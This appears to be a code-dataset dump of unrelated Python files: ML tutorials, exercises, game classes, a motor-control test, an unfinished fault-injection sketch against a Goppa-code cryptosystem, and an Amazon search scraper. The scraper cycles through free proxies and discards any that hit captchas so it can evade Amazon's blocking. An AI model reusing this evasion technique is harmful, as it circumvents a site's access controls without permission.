]:\n\n\n\n","sub_path":"DownloadAndUnzip-Python3.py","file_name":"DownloadAndUnzip-Python3.py","file_ext":"py","file_size_in_byte":12907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}
+{"seq_id":"243096107","text":"s = raw_input('Please enter a polynomial seperated by commas: ')\npoly = map(float, s.split())\nguess = raw_input('Please enter an x value: ')\nguess = float(guess)\nnumberXs = len(poly)\ncount = 0\ncount = int(count)\nans = 0\nif (numberXs > 0):\n while(count < numberXs):\n  print(count)\n  ans = ans + ((poly[count]) * (guess**(count)))\n  count = count + 1\nprint(numberXs)\nprint(ans)\n","sub_path":"ps2a.py","file_name":"ps2a.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}
+{"seq_id":"123575655","text":"from pyimagesearch.utils.tfannotation import TFAnnotation\nfrom argparse import ArgumentParser\nfrom imutils import paths\nimport tensorflow as tf\nfrom PIL import Image\nimport json\nimport os\n\nap = ArgumentParser()\nap.add_argument('-d', '--dataset', required = True)\nap.add_argument('-s', '--savepath', required = True)\nap.add_argument('-p', '--percentage', required = False, type = float, default = 0.25)\nopt = ap.parse_args()\n\noutputPath = opt.savepath\njsonPath = sorted(paths.list_files(f'{opt.dataset}'))\n\ntrainPath = jsonPath[int(len(jsonPath) * opt.percentage): ]\ntestPath = jsonPath[ :int(len(jsonPath) * opt.percentage)]\n\ndatasets = [('train', trainPath, outputPath + '/training.record'), ('test', testPath, outputPath + '/testing.record')]\nos.makedirs(outputPath, exist_ok = True)\nCLASSES_TEXT = f'{outputPath}/classes.pbtxt'\n\nCLASSES = {}\n\ndef main():\n\n    lbList = []\n    for (dtype, jsonPath, savePath) in datasets:\n\n        writer = tf.python_io.TFRecordWriter(savePath)\n        total = 0\n\n        for jsonFile in jsonPath:\n            # print(jsonFile)\n\n            with open(jsonFile) as f:\n                annotData = json.load(f)\n\n            for info in annotData['shapes']:\n                imagePath = annotData['imagePath'].replace('../', './')\n\n                lb = info['label']\n                encoded = tf.gfile.GFile(imagePath, 'rb').read()\n                encoded = bytes(encoded)\n\n                pilImg = Image.open(imagePath)\n                (W, H) = pilImg.size[:2]\n\n                fileName = imagePath.split(os.path.sep)[-1]\n                encoding = fileName[fileName.rfind('.') + 1: ] #* jpg\n\n                tfAnnot = TFAnnotation()\n                tfAnnot.image = encoded\n                tfAnnot.encoding = encoding\n                tfAnnot.filename = fileName\n                tfAnnot.width = W\n                tfAnnot.height = H\n                \n                box = info['points']\n                startX, startY = max(0, float(box[0][0])), max(0, float(box[0][1]))\n                endX, endY = min(W, float(box[1][0])), min(H, float(box[1][1]))\n\n                xMin = startX / W\n                xMax = endX / W\n\n                yMin = startY / H\n                yMax = endY / H\n\n                if xMin > xMax or yMin > yMax:\n                    continue\n\n                elif xMax < xMin or yMax < yMin:\n                    continue\n\n                lbList.append(lb)\n                lbList = sorted(list(set(lbList)))\n\n\n                for (idx, lb) in enumerate(lbList):\n                    CLASSES[lb] = idx + 1\n                tfAnnot.xMins.append(xMin)\n                tfAnnot.xMaxs.append(xMax)\n                tfAnnot.yMins.append(yMin)\n                tfAnnot.yMaxs.append(yMax)\n                tfAnnot.textLabels.append(lb.encode('utf8'))\n                tfAnnot.classes.append(CLASSES[lb])\n                tfAnnot.difficult.append(0)\n\n                print(CLASSES)\n\n            total += 1\n            features = tf.train.Features(feature=tfAnnot.build())\n            example = tf.train.Example(features=features)\n\n            # add the example to the writer\n            writer.write(example.SerializeToString())\n\n        writer.close()\n        print(\"[INFO] {} examples saved for '{}'\".format(total, dtype))\n        print(lbList)\n    \n    f = open(CLASSES_TEXT, \"w\")\n    # loop over the classes\n    for (k, v) in CLASSES.items():\n        # construct the class information and write to file\n        item = (\"item {\\n\"\n                \"\\tid: \" + str(v) + \"\\n\"\n                \"\\tname: '\" + k + \"'\\n\"\n                \"}\\n\")\n        f.write(item)\n\n    # close the output classes file\n    f.close()\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"UTILS/OBJD/for TF_API/json2rec.py","file_name":"json2rec.py","file_ext":"py","file_size_in_byte":3682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}
+{"seq_id":"208359599","text":"from sklearn.externals import joblib\nfrom flask import Flask, render_template, request, jsonify\nimport requests\n\napp = Flask(__name__)\n\n@app.route('/')\ndef score():\n   return '

Prediksi 3300 = ' + str(model.predict([[3300]])) + '

'\n\nif __name__ == '__main__':\n model = joblib.load('9_saveModel_joblib')\n app.run(debug = True)\n\n# run & open localhost:5000/ via browser\n# it will print the prediction! ","sub_path":"9 ML Sklearn/11_Flask_loadModel_2.py","file_name":"11_Flask_loadModel_2.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"375173739","text":"class Solution:\n def addDigits(self, num):\n \"\"\"\n :type num: int\n :rtype: int\n \"\"\"\n result = num\n while result >= 10: #we should operate on the result\n sumi = 0 #the sum of the numbers\n result1 = result\n while result1 > 0:\n sumi += result1 % 10\n result1 //= 10\n result = sumi\n \n return result\n","sub_path":"TangYuCreated/leetcode/Python/简单题目/258.py","file_name":"258.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"356145152","text":"import myutil as mu\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.utils.data import TensorDataset # 텐서데이터셋\nfrom torch.utils.data import DataLoader # 데이터로더\nfrom torch.utils.data import Dataset\nimport matplotlib.pyplot as plt # 맷플롯립사용\nimport torchvision.datasets as dsets\nimport torchvision.transforms as transforms\nfrom torch.utils.data import DataLoader\nimport random\n\n################################################################################\n# - XOR 문제 - 단층 퍼셉트론 구현하기\n# - 이번 챕터에서는 파이토치를 사용해서 단층 퍼셉트론을 구현하여 XOR 문제를 풀어보는 것을 시도해보겠습니다\n\n\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\ntorch.manual_seed(777)\n\nif device == \"cuda\":\n torch.cuda.manual_seed_all(777)\n\nX = torch.FloatTensor([[0, 0], [0, 1], [1, 0], [1, 1]]).to(device)\nY = torch.FloatTensor([[0], [1], [1], [0]]).to(device)\n\nmodel = nn.Sequential(\n nn.Linear(2, 1, bias=True),\n nn.Sigmoid()\n).to(device)\n\nmu.log(\"model\", model)\nnb_epochs = 1000\nmu.plt_init()\ncriterion = nn.BCELoss().to(device)\noptimizer = optim.SGD(model.parameters(), lr=1)\n\nfor epoch in range(nb_epochs + 1):\n hypothesis = model(X)\n cost = criterion(hypothesis, Y)\n optimizer.zero_grad()\n cost.backward()\n optimizer.step()\n\n if epoch % 100 == 0:\n accuracy = mu.get_binary_classification_accuracy(hypothesis, Y)\n mu.log_epoch(epoch, nb_epochs, cost, accuracy)\n\nmu.plt_show()\nmu.log(\"model\", model)\n\n################################################################################\n# - 학습된 단층 퍼셉트론의 예측값 확인하기\n# - 총 10,001회 학습한 단층 퍼셉트론의 예측값도 확인해보겠습니다.\n\n\nwith torch.no_grad():\n hypothesis = model(X)\n mu.log(\"hypothesis\", hypothesis)\n predicted = (hypothesis > 0.5).float()\n mu.log(\"predicted\", predicted)\n accuracy = (predicted == Y).float().mean()\n mu.log(\"Y\", Y)\n mu.log(\"accuracy\", accuracy)\n","sub_path":"0603_xor_single_layer_perceptron.py","file_name":"0603_xor_single_layer_perceptron.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"205649201","text":"#!/usr/bin/env python3\n\"\"\"\nmailroom_L5.py: refactor using comprehensions and exceptions where appropriate\nAuthor: JohnR\nVersion: 3.0 (Lesson 05)\nLast updated: 1/22/2019\nNotes: Works as intended but I don't see any for loops that should be re-written\n as list comprehensions at this stage.\n\"\"\"\n\nfrom datetime import date\n\n\ndef main():\n \"\"\"\n Create a list of donor and amounts, then get user input for the\n various actions available.\n :return: none\n \"\"\"\n db = {'sting': [13.45, 214.34, 123.45, 1433.23, 1243.13],\n 'bono': [7843.34, 35.55, 732.34],\n 'oprah': [66.34, 32.23, 632.21, 66.67],\n 'yoko': [34.34, 4.34],\n 'santa': [5334.00, 254.34, 64324.23, 2345.23, 5342.24],\n }\n\n main_prompt = (\n \"\\nWelcome to the main menu!\\n\"\n \"Please pick a number from the following:\\n\"\n \"1: exit the program\\n\"\n \"2: check donor list and become a donor\\n\"\n \"3: display a summary of current donor activity\\n\"\n \"4: print out a thank you for each donor\\n\"\n \"5: save a thank you note to disk for each donor\\n\"\n \">>> \"\n )\n\n main_dispatch = {\n '1': exit_menu,\n '2': donor_actions,\n '3': print_summary,\n '4': thank_all,\n '5': save_report,\n }\n\n menu(main_prompt, main_dispatch, db)\n\n\ndef menu(main_prompt, main_dispatch, db):\n \"\"\"\n Get user input\n :return: call the appropriate menu item\n \"\"\"\n while True:\n response = input(main_prompt)\n try:\n main_dispatch[response](db)\n except KeyError:\n print('Please enter a number between 1 and 5.')\n\n\ndef thank_all(db):\n \"\"\"\n Use a list comprehension to print a thank you letter for each donor\n :param db: current donor db\n :return: None\n \"\"\"\n donors = sorted_list(db)\n for donor in donors:\n letter = form_letter(donor[0][0], donor[1][0])\n print(letter)\n\n\ndef form_letter(name, donation):\n \"\"\"\n create a form letter\n :param name: donor name\n :param donation: amount of donation as a float\n :return: form letter filled in with donor and amount\n \"\"\"\n today = date.today()\n letter = (\n f'Hey {name.capitalize()}, thanks for your donations! '\n f'As of today, {today}, you have donated a total of '\n f'${donation}.'\n )\n\n return letter\n\n\ndef save_report(db):\n \"\"\"\n Generate a thank you letter for each donor and write to individual\n files on disk.\n :param db: donor database\n :return: None\n \"\"\"\n today = date.today()\n donors = sorted_list(db)\n print('Saving a copy to local disk....')\n for donor in donors:\n letter = form_letter(donor[0][0], donor[1][0])\n user_file = \"{}.{}.txt\".format(donor[0][0], today)\n\n with open(user_file, 'w') as outfile:\n outfile.write(letter)\n print(user_file, ' has been saved to disk.')\n\n\ndef exit_menu(db):\n \"\"\"\n write to file and exit the program\n :return: SystemExit\n \"\"\"\n save_report(db)\n print('Exiting program, thank you for your time today!')\n raise SystemExit\n\n\ndef seek_donation(name):\n \"\"\"\n Prompt user for a donation, use try/except to validate user input.\n :param name: name of donor\n :return: donation amount as a float\n \"\"\"\n\n while True:\n donation_amount = input(f'Hi {name.capitalize()}, how much would you '\n f'like to give today? ')\n\n try:\n donation_amount = round(float(donation_amount), 2)\n print(form_letter(name, donation_amount))\n return donation_amount\n except ValueError:\n print('Please enter an amount in digits only.')\n\n\ndef donor_actions(names):\n \"\"\"\n send a thank you, check the donor list or add donation\n :return: None\n \"\"\"\n\n while True:\n print('\\nEnter q to exit to main menu.')\n cmd = input(\"Enter 'list' to see a current list of donors or \"\n \"a new name to become a new donor today!\"\n \"\\n>>> \")\n cmd = cmd.lower()\n\n if cmd.isdigit():\n break\n elif cmd == 'q':\n break\n elif cmd == 'list':\n print()\n for i in names.keys():\n print(i.capitalize())\n elif cmd in names.keys():\n donation = seek_donation(cmd)\n names[cmd].append(donation)\n else:\n names[cmd] = []\n donation = seek_donation(cmd)\n names[cmd].append(donation)\n\n\ndef sorted_list(data):\n \"\"\"\n Sort a give list of donors by total amount given, large to small\n :param data: dictionary of donor data\n :return: sorted list of donors\n \"\"\"\n sorted_donors = []\n for name, donations in data.items():\n\n try:\n total = round(sum(donations), 2)\n number = round(len(donations), 2)\n avg = total / len(donations)\n avg = round(avg, 2)\n sorted_donors.append([[name], [total], [number], [avg]])\n except TypeError as e:\n print('hit an error in sorted list: ', e)\n return None\n\n sorted_donors.sort(key=lambda x: x[1])\n sorted_donors.reverse()\n return sorted_donors\n\n\ndef print_summary(db):\n \"\"\"\n Print a list of donors sorted by historical donation amount.\n List donor name, number of donations and average donation amount.\n :return: none\n \"\"\"\n donors = sorted_list(db)\n print()\n print('Donor Name | Total Given | Num Gifts | Avg Gift Amount')\n print('-' * 60)\n\n for donor in donors:\n print(f'{donor[0][0]:<17} ${donor[1][0]:^15} {donor[2][0]:^13}'\n f'${donor[3][0]:^8}')\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"students/john_rogers/lesson05/mailroom_L5.py","file_name":"mailroom_L5.py","file_ext":"py","file_size_in_byte":5742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"97970572","text":"from amble.base import BoundedObject, Field, Fields, ID, Implicit\nfrom amble.numberlists import Rotation3D, Vector3D\nfrom amble.tsstatics import TeleportPad\n\n\nclass Trigger(BoundedObject):\n classname = 'Trigger'\n\n defaults = dict(\n triggeronce=Implicit(0)\n )\n\n\nclass InBoundsTrigger(Trigger):\n defaults = dict(datablock='InBoundsTrigger')\n\n\nclass SpawnTrigger(Trigger):\n defaults = dict(datablock='SpawnTrigger')\n\n\nclass HelpTrigger(Trigger):\n defaults = dict(\n datablock='HelpTrigger',\n text='',\n )\n\n\nclass TeleportTrigger(Trigger):\n defaults = dict(\n datablock='TeleportTrigger',\n destination=ID.none,\n delay=Implicit(2000),\n silent=Implicit(0),\n )\n\n def with_destination(self, id, position, **fields):\n self.destination = id\n return self.with_friends(DestinationTrigger(id, position=position, **fields))\n\n def with_pad(self, offset='8 8 0', **fields):\n return self.with_friends(TeleportPad(position=self.position + offset, **fields))\n\n\n @staticmethod\n def tests():\n t = TeleportTrigger(position='4 2 0')\n td = t.with_destination('d', '0 6 9')\n tdp = td.with_pad(id='pad!', offset='4 4 0', scale='0.5 0.5 0.5')\n\n assert tdp.friends['pad!'].scale == '0.5 0.5 0.5'\n\n\nclass RelativeTPTrigger(TeleportTrigger):\n defaults = dict(\n datablock='RelativeTPTrigger',\n delay=Implicit(0),\n silent=Implicit(1),\n )\n\n\nclass DestinationTrigger(Trigger):\n defaults = dict(datablock='DestinationTrigger')\n\n\nclass LapsCheckpointTrigger(Trigger):\n defaults = dict(\n datablock='LapsCheckpoint',\n checkpointNumber=0,\n )\n\n\nclass LapsCounterTrigger(Trigger):\n defaults = dict(datablock='LapsCounterTrigger')\n\n\nclass TriggerGotoTarget(Trigger):\n defaults = dict(\n datablock='TriggerGotoTarget',\n targettime=-1,\n )\n\n\nclass GravityWellTrigger(Trigger):\n defaults = dict(\n datablock='GravityWellTrigger',\n axis=Vector3D.zero,\n custompoint=Vector3D.none,\n invert=Implicit(0),\n restoreGravity=Implicit(Rotation3D.none),\n useRadius=Implicit(0),\n radius=Implicit(0),\n )\n\n\nclass PhysModTrigger(Trigger):\n defaults = dict(\n datablock='MarblePhysModTrigger',\n )\n\n physics_field_names = [\n 'maxrollvelocity', 'angularacceleration', 'brakingacceleration', 'airacceleration', 'gravity', 'staticfriction',\n 'kineticfriction', 'bouncekineticfriction', 'maxdotslide', 'bouncerestitution', 'jumpimpulse', 'maxforceradius',\n 'mass'\n ]\n\n def written_fields(self):\n fields_list = list(filter(\n lambda field: field.key not in self.physics_field_names,\n super().written_fields().list\n ))\n\n index = 0\n for name in self.physics_field_names:\n value = self.fields.get(name)\n if value is not None:\n fields_list += [\n Field(f'marbleattribute{index}', name, str),\n Field(f'value{index}', value, type(value))\n ]\n\n index += 1\n\n return Fields(fields_list)\n\n\n @staticmethod\n def tests():\n t = PhysModTrigger(gravity=4, jumpimpulse=20)\n assert t.gravity == 4\n assert t.written_fields().get('jumpimpulse') is None\n assert t.written_fields().get('value1') == 20\n\n\nclass PathTrigger(Trigger):\n defaults = dict(\n datablock='PathTrigger',\n triggeronce=Implicit(1),\n )\n\n\nif __name__ == '__main__':\n TeleportTrigger.tests()\n PhysModTrigger.tests()\n\n__all__ = [\n 'DestinationTrigger',\n 'GravityWellTrigger',\n 'HelpTrigger',\n 'InBoundsTrigger',\n 'LapsCheckpointTrigger',\n 'LapsCounterTrigger',\n 'PathTrigger',\n 'PhysModTrigger',\n 'RelativeTPTrigger',\n 'SpawnTrigger',\n 'TeleportTrigger',\n 'Trigger',\n 'TriggerGotoTarget',\n]\n","sub_path":"amble/triggers.py","file_name":"triggers.py","file_ext":"py","file_size_in_byte":3927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"224509111","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 8 10:06:11 2020\n\n@author: sebastien\n\nInjection d'erreur\n\"\"\"\nimport numpy as np\nfrom sympy import GF, Poly, Pow, Add, Symbol\n\ndef Hamming_weight(p):\n \"\"\"\n Calcul le poids de Hamming de notre message.\n Renvoie ce poids ainsi que la liste des indices \n des composantes non nulles de p\n \"\"\"\n w = 0\n Ip = []\n for i in range(len(p)):\n if not p[i] == 0:\n w += 1\n Ip.append(i)\n \n return w, Ip\n\ndef Hamming_distance(p1, p2):\n \"\"\"\n Calcule la distance de Hamming entre deux mots\n \"\"\"\n p3 = p1 - p2\n return Hamming_weight(p3)\n\n\ndef Constant_injection_fault(i1, i2, n, m, etc):\n \"\"\"\n Calcul un polynôme annulé par alpha de notre\n Goppa Code\n \"\"\"\n p = np.zeros(n)\n p[i1] = 1\n p[i2] = 1\n find_it = False\n while (not find_it):\n #######\n pbis = injection_faute(p, 0)\n #######\n w, Ip = Hamming_weight(pbis)\n if w == 2 and Hamming_distance(p, pbis) > 0:\n find_it = True\n i3 = Ip[0]\n i4 = Ip[1]\n poly = lambda x: x[i1] + x[i2] + x[i3] + x[i4]\n return poly\n\ndef Quadratic_injection_fault(i, n, m, etc):\n \"\"\"\n Calcul un polynôme annulé par alpha de notre\n Goppa Code\n \"\"\"\n p = np.zeros(n)\n p[i] = 0\n find_it = False\n while(not find_it):\n ######\n pbis = injection_faute(p, 2)\n ######\n w, Ip = Hamming_weight(pbis)\n if w > 1 and i in Ip:\n find_it = True\n poly = lambda x: x[i]\n elif w == 2:\n j1 = Ip[0]\n j2 = Ip[1]\n find_it = True\n poly = lambda x: x[i]*x[j1] + x[i]*x[j2] + x[j1]*x[j2]\n return poly\n\n\ndef injection_erreur_systeme(L):\n\n L_lin = []\n for f in L:\n if deg(f) == 1:\n L_lin.append(f)\n","sub_path":"injection_erreur.py","file_name":"injection_erreur.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"105948280","text":"#!/usr/bin/env python\n\n# EPICS Single Motion application test script\n#\n\nimport unittest\nimport os\nimport sys\nimport math\nimport time\nfrom motor_lib import motor_lib\nlib = motor_lib()\nfrom motor_globals import motor_globals\nglobals = motor_globals()\nimport capv_lib\n###\n\nclass Test(unittest.TestCase):\n motor = os.getenv(\"TESTEDMOTORAXIS\")\n capv_lib.capvput(motor + '-DbgStrToLOG', \"Start \" + os.path.basename(__file__)[0:20])\n saved_DLY = capv_lib.capvget(motor + '.DLY')\n msta = int(capv_lib.capvget(motor + '.MSTA'))\n\n hlm = capv_lib.capvget(motor + '.HLM')\n llm = capv_lib.capvget(motor + '.LLM')\n per10_UserPosition = round((9 * llm + 1 * hlm) / 10)\n per90_UserPosition = round((1 * llm + 9 * hlm) / 10)\n\n # Assert that motor is homed\n def test_TC_2401(self):\n motor = self.motor\n tc_no = \"2401\"\n\n if not (self.msta & lib.MSTA_BIT_HOMED):\n self.assertNotEqual(0, self.msta & lib.MSTA_BIT_HOMED, 'MSTA.homed (Axis is not homed)')\n\n # Jog, wait for start, stop behind MR\n def test_TC_2402(self):\n motor = self.motor\n tc_no = \"2402-JOGF_stopped\"\n print('%s' % tc_no)\n\n if (self.msta & lib.MSTA_BIT_HOMED):\n capv_lib.capvput(motor + '-DbgStrToLOG', \"Start \" + tc_no[0:20])\n capv_lib.capvput(motor + '.DLY', 0)\n destination = self.per10_UserPosition\n done = lib.moveWait(motor, tc_no, destination)\n UserPosition = capv_lib.capvget(motor + '.RBV', use_monitor=False)\n print('%s postion=%f per10_UserPosition=%f' % (\n tc_no, UserPosition, self.per90_UserPosition))\n\n capv_lib.capvput(motor + '.JOGF', 1)\n ret2 = lib.waitForStart(motor, tc_no, 2.0)\n\n time.sleep(1)\n capv_lib.capvput(motor + '-Stop', 1)\n ret3 = lib.waitForStop(motor, tc_no, 2.0)\n\n val = capv_lib.capvget(motor + '.VAL')\n\n try:\n res4 = lib.verifyPosition(motor, val)\n except:\n e = sys.exc_info()\n print(str(e))\n res4 = globals.FAIL\n\n\n capv_lib.capvput(motor + '.DLY', self.saved_DLY)\n capv_lib.capvput(motor + '-DbgStrToLOG', \"End \" + tc_no[0:20])\n\n self.assertEqual(1, done, 'moveWait should return done')\n self.assertEqual(res4, globals.SUCCESS, 'VAL synched with RBV')\n","sub_path":"test/pyTests/240_Ethercat_JOGF_stopped.py","file_name":"240_Ethercat_JOGF_stopped.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"62765740","text":"#TODO: Add some form of analysis?, \r\n#Edit proxy cycling, so the process originator loop passes the # of proxy to use\r\n#Additionally, need to add a fail state -- raised exception if there's more than x loops of proxy or captcha cycling....\r\n#Research whether we can pull more than 20 proxyList at once\r\n####Possibly even start writing them to a file? \r\n\r\n#Add reading in the search terms from a file or something, so it's easily editable?\r\n#Add best seller flag?\r\n#Test out using sentiment analysis to tag the data -- brand name / pack size / pack count / $ per oz\r\n#Add more sources: instacart, walmart, etc. Then create wrapper program that calls each of these subroutines\r\n\r\n#from proxy_list_scrape import scrapeProxyList, getProxyList, updateProxyFile\r\nfrom proxy_list_scrape import scrapeProxyList\r\nfrom datetime import date\r\nimport re\r\nimport random\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\nimport time\r\nfrom multiprocessing import Process, Queue, Pool, Manager, Lock\r\nfrom send_email import send_email\r\nfrom data_tagging import tag_data, get_tag_dicts\r\nfrom DB_functions import update_scrape_db\r\n\r\n#Declare the variables that will be needed to run the request loop\r\nproxyList = []\r\n#proxyList.append(scrapeProxyList())\r\nproxyCounter = 0\r\nstartTime = time.time()\r\nqcount = 0\r\n\r\n#Declare the lists that will be used to store the final dataframe\r\nsourceList=[] #list to store sources of scraped data\r\nsearchTerms=[] #list to store keyword of product\r\ndates = [] #list to store date of search for product\r\nproducts=[] #List to store name of the product\r\nprices=[] #List to store price of the product\r\nregularPrices=[] #List to store regular prices, if any\r\nonSales=[] #List to store boolean of whether item is on sale or not\r\namazonChoices=[] #List to store boolean of whether item is an Amazon Choice product or not\r\nsponsoredList=[] #List to store boolean of whether item is Sponsored\r\npositions=[] #List of where the product was positioned in the search\r\npages=[] #List to store ratings of the product\r\n\r\n#Now declare the lists of additional tag data\r\nbrands=[] #List to store tagged brand of the product\r\nMFGs=[] #List to store tagged manufcaturer of the product\r\nvariants=[] #List to store tagged variants of the product\r\npackTypes=[] #List to store tagged pack types of the product\r\npackCounts=[] #List to store tagged pack counts of the product\r\npackSizes=[] #List to store tagged pack sizes of the product\r\n\r\n#Declare the request variables that determine how many requests will get made -- eventually these will be fed as arguments to the request function from a wrapper function\r\nno_pages = 4\r\nkeywords = ['Soda', 'Water', 'Sports Drinks', 'Coffee', 'Cereal', 'Snack Bars', 'Chips', 'Snacks', 'Contact Lenses', 'Coke', 'Fanta', \r\n 'Sprite', 'Powerade', 'Frosted Flakes', 'Special K', 'Froot Loops', 'Raisin Bran', 'Pringles', 'Cheez It', 'Rice Krispies', 'Rice Krispies Treats', \r\n 'Pop Tarts', 'Acuvue', 'Oasys', 'Pet Food', 'Dog Food', 'Cat Food']\r\n#keywords = ['cereal']\r\n\r\n#THIS IS WHERE I SHOULD DECLARE A FUNCTION TO GENERATE THE PROXY LIST\r\n###THEN IT SHOULD STORE THE GLOBAL LIST\r\n###AND HAVE METHODS TO CALL/UPDATE IT\r\n\r\n#Function for getting a proxy\r\ndef generateProxyList(lock, proxyCounter):\r\n #global proxyList\r\n lock.acquire()\r\n try:\r\n proxyList = scrapeProxyList(proxyCounter) \r\n finally:\r\n lock.release()\r\n return proxyList\r\n\r\ndef getProxy(proxyList):\r\n #global proxyList\r\n print(len(proxyList))\r\n #Return a random proxy in the list\r\n return proxyList[0]\r\n\r\n\r\n#Function for deleting the proxy from\r\ndef removeProxy(proxyList, proxy, lock, proxyCounter):\r\n #global proxyList\r\n lock.acquire()\r\n\r\n try:\r\n #Figure out what index in the list is the one to delete\r\n if proxy in proxyList:\r\n proxyList.remove(proxy)\r\n print(\"Removing \" + str(proxy) + \". \" + str(len(proxyList)) + \" remaining.\")# + \" from: \" + str(proxyList))\r\n\r\n #Check to make sure it's not the only proxy in the list, and if it is, append a new scrape\r\n if len(proxyList) < 1: \r\n print(\"Proxy List Too Short: \" + str(proxyList))\r\n print(\"Refreshing proxy List\")\r\n proxyList.extend( scrapeProxyList(proxyCounter) )\r\n if proxyCounter < 200: proxyCounter += 20\r\n finally:\r\n lock.release()\r\n return proxyCounter\r\n\r\n\r\ndef get_data(keyword, pageNo, q, lock, proxyList, tagging_df, proxyCounter): \r\n headers = {\"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0\", \"Accept-Encoding\":\"gzip, deflate\", \"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\", \"DNT\":\"1\",\"Connection\":\"close\", \"Upgrade-Insecure-Requests\":\"1\"}\r\n \r\n #Keep trying until an exception isn't raised\r\n noError = False\r\n \r\n while not noError:\r\n #wait for a random period of time before fetching the next page, to help avoid being blocked by amazon\r\n time.sleep(random.random())\r\n proxy = getProxy(proxyList)\r\n\r\n if 'http' in proxy: \r\n printProxy = proxy['http']\r\n else:\r\n printProxy = proxy['https']\r\n\r\n try:\r\n r = requests.get(\"https://www.amazon.com/s?k=\" + keyword + \"&page=\" + str(pageNo), headers=headers, proxies=proxy, timeout=15)\r\n \r\n except:\r\n #remove the bad proxy from the list so we don't try it again\r\n proxyCounter = removeProxy(proxyList, proxy, lock, proxyCounter)\r\n print(\"There was a connection error\")\r\n print(\"Bad Proxy: \" + printProxy)\r\n\r\n else:\r\n print(\"Now things are ok\")\r\n #THIS IS ALL DEBUGGING NONSENSE\r\n if 'http' in proxy: \r\n printProxy = proxy['http']\r\n else:\r\n printProxy = proxy['https']\r\n\r\n print(\"This proxy worked \" + printProxy)\r\n\r\n #Add here some checking for whether soup is readable\r\n\r\n content = r.content\r\n soup = BeautifulSoup(content, features=\"lxml\")\r\n \r\n if len(soup.findAll('div', attrs={'data-index':re.compile(r'\\d+')})) == 0:\r\n #remove the bad proxy from the list so we don't try it again\r\n proxyCounter = removeProxy(proxyList, proxy, lock, proxyCounter)\r\n\r\n print(\"There was a captcha error\")\r\n print(\"Bad Proxy: \" + printProxy)\r\n else:\r\n noError = True\r\n \r\n #content = r.content\r\n #soup = BeautifulSoup(content, features=\"lxml\")\r\n #print(soup.encode('utf-8')) # uncomment this in case there is some non UTF-8 character in the content and\r\n # you get error\r\n\t\r\n\r\n for d in soup.findAll('div', attrs={'data-index':re.compile(r'\\d+')}):\r\n\r\n #Some of those search results may be carousels, so we need to iterate for each \"entry\" within the search result\r\n #Set up a carousel counter to add to placement entries for carousel entries\r\n carouselCounter = 0 \r\n\r\n if len(d.findAll('div', attrs={'data-asin':re.compile(r'.*')})) > 0:\r\n soupList = d.findAll('div', attrs={'data-asin':re.compile(r'.*')})\r\n else:\r\n soupList = d.findAll('div', attrs={'class':'sg-col-inner'})\r\n\r\n #Now I'm only getting the top carousel data\r\n for product in soupList:\r\n #print(\"We're in the second soup loop\")\r\n #if we're in the first carousel\r\n if product.find('span', attrs={'data-click-el':'title'}) is not None:\r\n name = product.find('span', attrs={'data-click-el':'title'})\r\n ad = True\r\n else:\r\n name = product.find('span', attrs={'class':re.compile(r'a-color-base a-text-normal')})\r\n ad = False\r\n \r\n #print(name)\r\n price = product.find('span', attrs={'class':'a-offscreen'})\r\n #print(price)\r\n regularPrice = product.find('span', attrs={'data-a-strike':'true'})\r\n\r\n #This should work, because it's looking \r\n amazonChoice = d.find('span', attrs={'class':'a-badge'})\r\n placement = d['data-index']\r\n\r\n all=[]\r\n\r\n #Product Name and Price should be the two minimum checks before putting ANYTHING into the queue\r\n #print(\"Checking Name: \", name)\r\n if name is not None: #and price is not None:\r\n \r\n all.append(\"Amazon\")\r\n all.append(keyword)\r\n all.append(date.today())\r\n \r\n all.append(name.text)\r\n\r\n if price is not None:\r\n all.append(price.text)\r\n else:\r\n all.append(\"$0\")\r\n \r\n if regularPrice is not None:\r\n all.append(regularPrice.contents[0].text)\r\n all.append(True)\r\n else:\r\n all.append('$0')\r\n all.append(False)\r\n \r\n if amazonChoice is not None:\r\n all.append(True)\r\n else:\r\n all.append(False)\r\n\r\n #The second part of the check is to look if something is within a carousel, which I'm considering a sponsored product....\r\n if 'AdHolder' in d['class'] or 's-widget' in d['class'] or ad == True:\r\n all.append(True)\r\n else:\r\n all.append(False)\r\n\r\n #Using string slice to only input the # part of the string and then appending \"-#\" if it's one of the carousel entries\r\n all.append( placement + \"-\" + str(carouselCounter))\r\n \r\n all.append(str(pageNo))\r\n\r\n #Now add the tags based on the newly updated data \r\n tagDict = tag_data(name.text, tagging_df[0], tagging_df[1], tagging_df[2])\r\n all.append(tagDict['brand'])\r\n all.append(tagDict['mfg'])\r\n all.append(tagDict['variant'])\r\n all.append(tagDict['packType'])\r\n all.append(tagDict['count'])\r\n all.append(tagDict['size'])\r\n \r\n q.put(all)\r\n \r\n #increment carousel counter -- shouldn't matter if this isn't a carousel\r\n carouselCounter += 1\r\n 